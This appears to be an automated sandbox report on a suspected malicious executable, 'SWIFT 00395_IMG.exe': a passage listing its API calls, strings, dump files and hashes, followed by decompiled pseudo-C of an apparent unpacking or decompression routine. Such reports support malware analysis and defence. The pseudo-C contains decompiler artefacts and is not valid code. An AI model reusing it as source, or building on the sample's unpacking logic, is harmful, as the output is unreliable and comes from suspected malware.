                                                                                    0x00405b67
                                                                                    0x00405b69
                                                                                    0x00405b6c
                                                                                    0x00405bbd
                                                                                    0x00405bbd
                                                                                    0x00405bbd
                                                                                    0x00405b6e
                                                                                    0x00405b71
                                                                                    0x00405b7c
                                                                                    0x00405b81
                                                                                    0x00405b83
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405b86
                                                                                    0x00405b92
                                                                                    0x00405b97
                                                                                    0x00405b99
                                                                                    0x00000000
                                                                                    0x00405bb4
                                                                                    0x00405b9b
                                                                                    0x00405b9e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405ba3
                                                                                    0x00000000
                                                                                    0x00405baa
                                                                                    0x00405b73
                                                                                    0x00405b73
                                                                                    0x00000000
                                                                                    0x00405b73
                                                                                    0x00405a40
                                                                                    0x00405a43
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405a43

                                                                                    APIs
                                                                                    • DeleteFileA.KERNELBASE(?,?,73BCFA90,73BCF560,00000000), ref: 00405A19
                                                                                    • lstrcatA.KERNEL32(00421D58,\*.*,00421D58,?,?,73BCFA90,73BCF560,00000000), ref: 00405A61
                                                                                    • lstrcatA.KERNEL32(?,0040A014,?,00421D58,?,?,73BCFA90,73BCF560,00000000), ref: 00405A82
                                                                                    • lstrlenA.KERNEL32(?,?,0040A014,?,00421D58,?,?,73BCFA90,73BCF560,00000000), ref: 00405A88
                                                                                    • FindFirstFileA.KERNEL32(00421D58,?,?,?,0040A014,?,00421D58,?,?,73BCFA90,73BCF560,00000000), ref: 00405A99
                                                                                    • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405B46
                                                                                    • FindClose.KERNEL32(00000000), ref: 00405B57
                                                                                    Strings
                                                                                    • "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" , xrefs: 004059F0
                                                                                    • \*.*, xrefs: 00405A5B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                    • String ID: "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $\*.*
                                                                                    • API String ID: 2035342205-1894150357
                                                                                    • Opcode ID: a66e31797c185062c7638da0132466ba220af7043d537e09de82d45b9939a7ed
                                                                                    • Instruction ID: f9fcd54ed45cecb295d84a7a00b3a90cccdf7efad1d91ba0bada197ffcbf79f0
                                                                                    • Opcode Fuzzy Hash: a66e31797c185062c7638da0132466ba220af7043d537e09de82d45b9939a7ed
                                                                                    • Instruction Fuzzy Hash: 0851C430900A44AADB21AB658C85BBF7A78DF42714F14417FF851711D2C77C7A82DE69
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406925() {
                                                                                    				unsigned short _t531;
                                                                                    				signed int _t532;
                                                                                    				void _t533;
                                                                                    				void* _t534;
                                                                                    				signed int _t535;
                                                                                    				signed int _t565;
                                                                                    				signed int _t568;
                                                                                    				signed int _t590;
                                                                                    				signed int* _t607;
                                                                                    				void* _t614;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t614 - 0x40) != 0) {
                                                                                    						 *(_t614 - 0x34) = 1;
                                                                                    						 *(_t614 - 0x84) = 7;
                                                                                    						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
                                                                                    						L132:
                                                                                    						 *(_t614 - 0x54) = _t607;
                                                                                    						L133:
                                                                                    						_t531 =  *_t607;
                                                                                    						_t590 = _t531 & 0x0000ffff;
                                                                                    						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
                                                                                    						if( *(_t614 - 0xc) >= _t565) {
                                                                                    							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
                                                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
                                                                                    							 *(_t614 - 0x40) = 1;
                                                                                    							_t532 = _t531 - (_t531 >> 5);
                                                                                    							 *_t607 = _t532;
                                                                                    						} else {
                                                                                    							 *(_t614 - 0x10) = _t565;
                                                                                    							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                                                    							 *_t607 = (0x800 - _t590 >> 5) + _t531;
                                                                                    						}
                                                                                    						if( *(_t614 - 0x10) >= 0x1000000) {
                                                                                    							L139:
                                                                                    							_t533 =  *(_t614 - 0x84);
                                                                                    							L140:
                                                                                    							 *(_t614 - 0x88) = _t533;
                                                                                    							goto L1;
                                                                                    						} else {
                                                                                    							L137:
                                                                                    							if( *(_t614 - 0x6c) == 0) {
                                                                                    								 *(_t614 - 0x88) = 5;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
                                                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                                                    							goto L139;
                                                                                    						}
                                                                                    					} else {
                                                                                    						__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    						__esi =  *(__ebp - 0x60);
                                                                                    						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    						__ecx =  *(__ebp - 0x3c);
                                                                                    						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    						__ecx =  *(__ebp - 4);
                                                                                    						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    						if( *(__ebp - 0x38) >= 4) {
                                                                                    							if( *(__ebp - 0x38) >= 0xa) {
                                                                                    								_t97 = __ebp - 0x38;
                                                                                    								 *_t97 =  *(__ebp - 0x38) - 6;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    							}
                                                                                    						} else {
                                                                                    							 *(__ebp - 0x38) = 0;
                                                                                    						}
                                                                                    						if( *(__ebp - 0x34) == __edx) {
                                                                                    							__ebx = 0;
                                                                                    							__ebx = 1;
                                                                                    							L60:
                                                                                    							__eax =  *(__ebp - 0x58);
                                                                                    							__edx = __ebx + __ebx;
                                                                                    							__ecx =  *(__ebp - 0x10);
                                                                                    							__esi = __edx + __eax;
                                                                                    							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								_t216 = __edx + 1; // 0x1
                                                                                    								__ebx = _t216;
                                                                                    								__cx = __ax >> 5;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							 *(__ebp - 0x44) = __ebx;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								L59:
                                                                                    								if(__ebx >= 0x100) {
                                                                                    									goto L54;
                                                                                    								}
                                                                                    								goto L60;
                                                                                    							} else {
                                                                                    								L57:
                                                                                    								if( *(__ebp - 0x6c) == 0) {
                                                                                    									 *(__ebp - 0x88) = 0xf;
                                                                                    									goto L170;
                                                                                    								}
                                                                                    								__ecx =  *(__ebp - 0x70);
                                                                                    								__eax =  *(__ebp - 0xc);
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								_t202 = __ebp - 0x70;
                                                                                    								 *_t202 =  *(__ebp - 0x70) + 1;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								goto L59;
                                                                                    							}
                                                                                    						} else {
                                                                                    							__eax =  *(__ebp - 0x14);
                                                                                    							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    							if(__eax >=  *(__ebp - 0x74)) {
                                                                                    								__eax = __eax +  *(__ebp - 0x74);
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 8);
                                                                                    							__ebx = 0;
                                                                                    							__ebx = 1;
                                                                                    							__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    							L40:
                                                                                    							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    							 *(__ebp - 0x48) = __eax;
                                                                                    							__eax = __eax + 1;
                                                                                    							__eax = __eax << 8;
                                                                                    							__eax = __eax + __ebx;
                                                                                    							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__edx = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								 *(__ebp - 0x40) = 1;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__ebx = __ebx + __ebx + 1;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edx;
                                                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							 *(__ebp - 0x44) = __ebx;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								L38:
                                                                                    								__eax =  *(__ebp - 0x40);
                                                                                    								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    									while(1) {
                                                                                    										if(__ebx >= 0x100) {
                                                                                    											break;
                                                                                    										}
                                                                                    										__eax =  *(__ebp - 0x58);
                                                                                    										__edx = __ebx + __ebx;
                                                                                    										__ecx =  *(__ebp - 0x10);
                                                                                    										__esi = __edx + __eax;
                                                                                    										__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    										__ax =  *__esi;
                                                                                    										 *(__ebp - 0x54) = __esi;
                                                                                    										__edi = __ax & 0x0000ffff;
                                                                                    										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    										if( *(__ebp - 0xc) >= __ecx) {
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    											__cx = __ax;
                                                                                    											_t169 = __edx + 1; // 0x1
                                                                                    											__ebx = _t169;
                                                                                    											__cx = __ax >> 5;
                                                                                    											 *__esi = __ax;
                                                                                    										} else {
                                                                                    											 *(__ebp - 0x10) = __ecx;
                                                                                    											0x800 = 0x800 - __edi;
                                                                                    											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    											__ebx = __ebx + __ebx;
                                                                                    											 *__esi = __cx;
                                                                                    										}
                                                                                    										 *(__ebp - 0x44) = __ebx;
                                                                                    										if( *(__ebp - 0x10) < 0x1000000) {
                                                                                    											L45:
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xe;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t155 = __ebp - 0x70;
                                                                                    											 *_t155 =  *(__ebp - 0x70) + 1;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    										}
                                                                                    									}
                                                                                    									L53:
                                                                                    									_t172 = __ebp - 0x34;
                                                                                    									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    									L54:
                                                                                    									__al =  *(__ebp - 0x44);
                                                                                    									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    									L55:
                                                                                    									if( *(__ebp - 0x64) == 0) {
                                                                                    										 *(__ebp - 0x88) = 0x1a;
                                                                                    										goto L170;
                                                                                    									}
                                                                                    									__ecx =  *(__ebp - 0x68);
                                                                                    									__al =  *(__ebp - 0x5c);
                                                                                    									__edx =  *(__ebp - 8);
                                                                                    									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    									 *( *(__ebp - 0x68)) = __al;
                                                                                    									__ecx =  *(__ebp - 0x14);
                                                                                    									 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    									__eax = __ecx + 1;
                                                                                    									__edx = 0;
                                                                                    									_t191 = __eax %  *(__ebp - 0x74);
                                                                                    									__eax = __eax /  *(__ebp - 0x74);
                                                                                    									__edx = _t191;
                                                                                    									L79:
                                                                                    									 *(__ebp - 0x14) = __edx;
                                                                                    									L80:
                                                                                    									 *(__ebp - 0x88) = 2;
                                                                                    									goto L1;
                                                                                    								}
                                                                                    								if(__ebx >= 0x100) {
                                                                                    									goto L53;
                                                                                    								}
                                                                                    								goto L40;
                                                                                    							} else {
                                                                                    								L36:
                                                                                    								if( *(__ebp - 0x6c) == 0) {
                                                                                    									 *(__ebp - 0x88) = 0xd;
                                                                                    									L170:
                                                                                    									_t568 = 0x22;
                                                                                    									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
                                                                                    									_t535 = 0;
                                                                                    									L172:
                                                                                    									return _t535;
                                                                                    								}
                                                                                    								__ecx =  *(__ebp - 0x70);
                                                                                    								__eax =  *(__ebp - 0xc);
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								_t121 = __ebp - 0x70;
                                                                                    								 *_t121 =  *(__ebp - 0x70) + 1;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    								goto L38;
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    					L1:
                                                                                    					_t534 =  *(_t614 - 0x88);
                                                                                    					if(_t534 > 0x1c) {
                                                                                    						L171:
                                                                                    						_t535 = _t534 | 0xffffffff;
                                                                                    						goto L172;
                                                                                    					}
                                                                                    					switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
                                                                                    						case 0:
                                                                                    							if( *(_t614 - 0x6c) == 0) {
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                    							_t534 =  *( *(_t614 - 0x70));
                                                                                    							if(_t534 > 0xe1) {
                                                                                    								goto L171;
                                                                                    							}
                                                                                    							_t538 = _t534 & 0x000000ff;
                                                                                    							_push(0x2d);
                                                                                    							asm("cdq");
                                                                                    							_pop(_t570);
                                                                                    							_push(9);
                                                                                    							_pop(_t571);
                                                                                    							_t610 = _t538 / _t570;
                                                                                    							_t540 = _t538 % _t570 & 0x000000ff;
                                                                                    							asm("cdq");
                                                                                    							_t605 = _t540 % _t571 & 0x000000ff;
                                                                                    							 *(_t614 - 0x3c) = _t605;
                                                                                    							 *(_t614 - 0x1c) = (1 << _t610) - 1;
                                                                                    							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                    							_t613 = (0x300 << _t605 + _t610) + 0x736;
                                                                                    							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
                                                                                    								L10:
                                                                                    								if(_t613 == 0) {
                                                                                    									L12:
                                                                                    									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
                                                                                    									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                                                    									goto L15;
                                                                                    								} else {
                                                                                    									goto L11;
                                                                                    								}
                                                                                    								do {
                                                                                    									L11:
                                                                                    									_t613 = _t613 - 1;
                                                                                    									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
                                                                                    								} while (_t613 != 0);
                                                                                    								goto L12;
                                                                                    							}
                                                                                    							if( *(_t614 - 4) != 0) {
                                                                                    								GlobalFree( *(_t614 - 4));
                                                                                    							}
                                                                                    							_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    							 *(_t614 - 4) = _t534;
                                                                                    							if(_t534 == 0) {
                                                                                    								goto L171;
                                                                                    							} else {
                                                                                    								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
                                                                                    								goto L10;
                                                                                    							}
                                                                                    						case 1:
                                                                                    							L13:
                                                                                    							__eflags =  *(_t614 - 0x6c);
                                                                                    							if( *(_t614 - 0x6c) == 0) {
                                                                                    								 *(_t614 - 0x88) = 1;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                    							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
                                                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                    							_t45 = _t614 - 0x48;
                                                                                    							 *_t45 =  *(_t614 - 0x48) + 1;
                                                                                    							__eflags =  *_t45;
                                                                                    							L15:
                                                                                    							if( *(_t614 - 0x48) < 4) {
                                                                                    								goto L13;
                                                                                    							}
                                                                                    							_t546 =  *(_t614 - 0x40);
                                                                                    							if(_t546 ==  *(_t614 - 0x74)) {
                                                                                    								L20:
                                                                                    								 *(_t614 - 0x48) = 5;
                                                                                    								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
                                                                                    								goto L23;
                                                                                    							}
                                                                                    							 *(_t614 - 0x74) = _t546;
                                                                                    							if( *(_t614 - 8) != 0) {
                                                                                    								GlobalFree( *(_t614 - 8));
                                                                                    							}
                                                                                    							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
                                                                                    							 *(_t614 - 8) = _t534;
                                                                                    							if(_t534 == 0) {
                                                                                    								goto L171;
                                                                                    							} else {
                                                                                    								goto L20;
                                                                                    							}
                                                                                    						case 2:
                                                                                    							L24:
                                                                                    							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
                                                                                    							 *(_t614 - 0x84) = 6;
                                                                                    							 *(_t614 - 0x4c) = _t553;
                                                                                    							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
                                                                                    							goto L132;
                                                                                    						case 3:
                                                                                    							L21:
                                                                                    							__eflags =  *(_t614 - 0x6c);
                                                                                    							if( *(_t614 - 0x6c) == 0) {
                                                                                    								 *(_t614 - 0x88) = 3;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                    							_t67 = _t614 - 0x70;
                                                                                    							 *_t67 =  &(( *(_t614 - 0x70))[1]);
                                                                                    							__eflags =  *_t67;
                                                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                                                    							L23:
                                                                                    							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
                                                                                    							if( *(_t614 - 0x48) != 0) {
                                                                                    								goto L21;
                                                                                    							}
                                                                                    							goto L24;
                                                                                    						case 4:
                                                                                    							goto L133;
                                                                                    						case 5:
                                                                                    							goto L137;
                                                                                    						case 6:
                                                                                    							goto L0;
                                                                                    						case 7:
                                                                                    							__eflags =  *(__ebp - 0x40) - 1;
                                                                                    							if( *(__ebp - 0x40) != 1) {
                                                                                    								__eax =  *(__ebp - 0x24);
                                                                                    								 *(__ebp - 0x80) = 0x16;
                                                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    								__eax =  *(__ebp - 0x28);
                                                                                    								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    								__eax =  *(__ebp - 0x2c);
                                                                                    								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    								__eax = 0;
                                                                                    								__eflags =  *(__ebp - 0x38) - 7;
                                                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    								__al = __al & 0x000000fd;
                                                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__eax =  *(__ebp - 4) + 0x664;
                                                                                    								__eflags = __eax;
                                                                                    								 *(__ebp - 0x58) = __eax;
                                                                                    								goto L68;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 4);
                                                                                    							__ecx =  *(__ebp - 0x38);
                                                                                    							 *(__ebp - 0x84) = 8;
                                                                                    							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    							goto L132;
                                                                                    						case 8:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__ecx =  *(__ebp - 0x38);
                                                                                    								 *(__ebp - 0x84) = 0xa;
                                                                                    								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    							} else {
                                                                                    								__eax =  *(__ebp - 0x38);
                                                                                    								__ecx =  *(__ebp - 4);
                                                                                    								__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    								 *(__ebp - 0x84) = 9;
                                                                                    								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    							}
                                                                                    							goto L132;
                                                                                    						case 9:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								goto L89;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x60);
                                                                                    							if( *(__ebp - 0x60) == 0) {
                                                                                    								goto L171;
                                                                                    							}
                                                                                    							__eax = 0;
                                                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                                                    							_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    							__eflags = _t258;
                                                                                    							0 | _t258 = _t258 + _t258 + 9;
                                                                                    							 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                    							goto L75;
                                                                                    						case 0xa:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__ecx =  *(__ebp - 0x38);
                                                                                    								 *(__ebp - 0x84) = 0xb;
                                                                                    								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    								goto L132;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x28);
                                                                                    							goto L88;
                                                                                    						case 0xb:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__ecx =  *(__ebp - 0x24);
                                                                                    								__eax =  *(__ebp - 0x20);
                                                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    							} else {
                                                                                    								__eax =  *(__ebp - 0x24);
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x28);
                                                                                    							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    							L88:
                                                                                    							__ecx =  *(__ebp - 0x2c);
                                                                                    							 *(__ebp - 0x2c) = __eax;
                                                                                    							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    							L89:
                                                                                    							__eax =  *(__ebp - 4);
                                                                                    							 *(__ebp - 0x80) = 0x15;
                                                                                    							__eax =  *(__ebp - 4) + 0xa68;
                                                                                    							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    							goto L68;
                                                                                    						case 0xc:
                                                                                    							L99:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0xc;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t334 = __ebp - 0x70;
                                                                                    							 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t334;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							__eax =  *(__ebp - 0x2c);
                                                                                    							goto L101;
                                                                                    						case 0xd:
                                                                                    							goto L36;
                                                                                    						case 0xe:
                                                                                    							goto L45;
                                                                                    						case 0xf:
                                                                                    							goto L57;
                                                                                    						case 0x10:
